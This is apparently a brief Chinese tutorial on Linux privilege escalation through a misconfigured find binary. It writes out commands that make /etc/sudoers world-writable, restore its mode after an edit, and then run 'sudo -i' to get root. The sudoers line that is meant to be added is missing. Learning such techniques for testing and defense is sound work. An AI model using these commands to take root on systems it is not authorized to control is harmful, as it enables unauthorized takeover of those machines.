find提权不反弹shell切换到root用户

条件:

1. 不清楚root账号密码
2. 存在一个普通用户
3. 存在find提权

首先确定存在find提权

通过find命令 修改/etc/sudoers 权限

find hint.txt -exec chmod 777 /etc/sudoers \;

在里面添加如下内容
然后修改权限为400 必须修改否则会报如下错误

/etc/sudoers is world writable

find hint.txt -exec chmod 400 /etc/sudoers \;

然后通过输入sudo -i 切换到root账号

输入普通用户密码之后,成功切换到root账号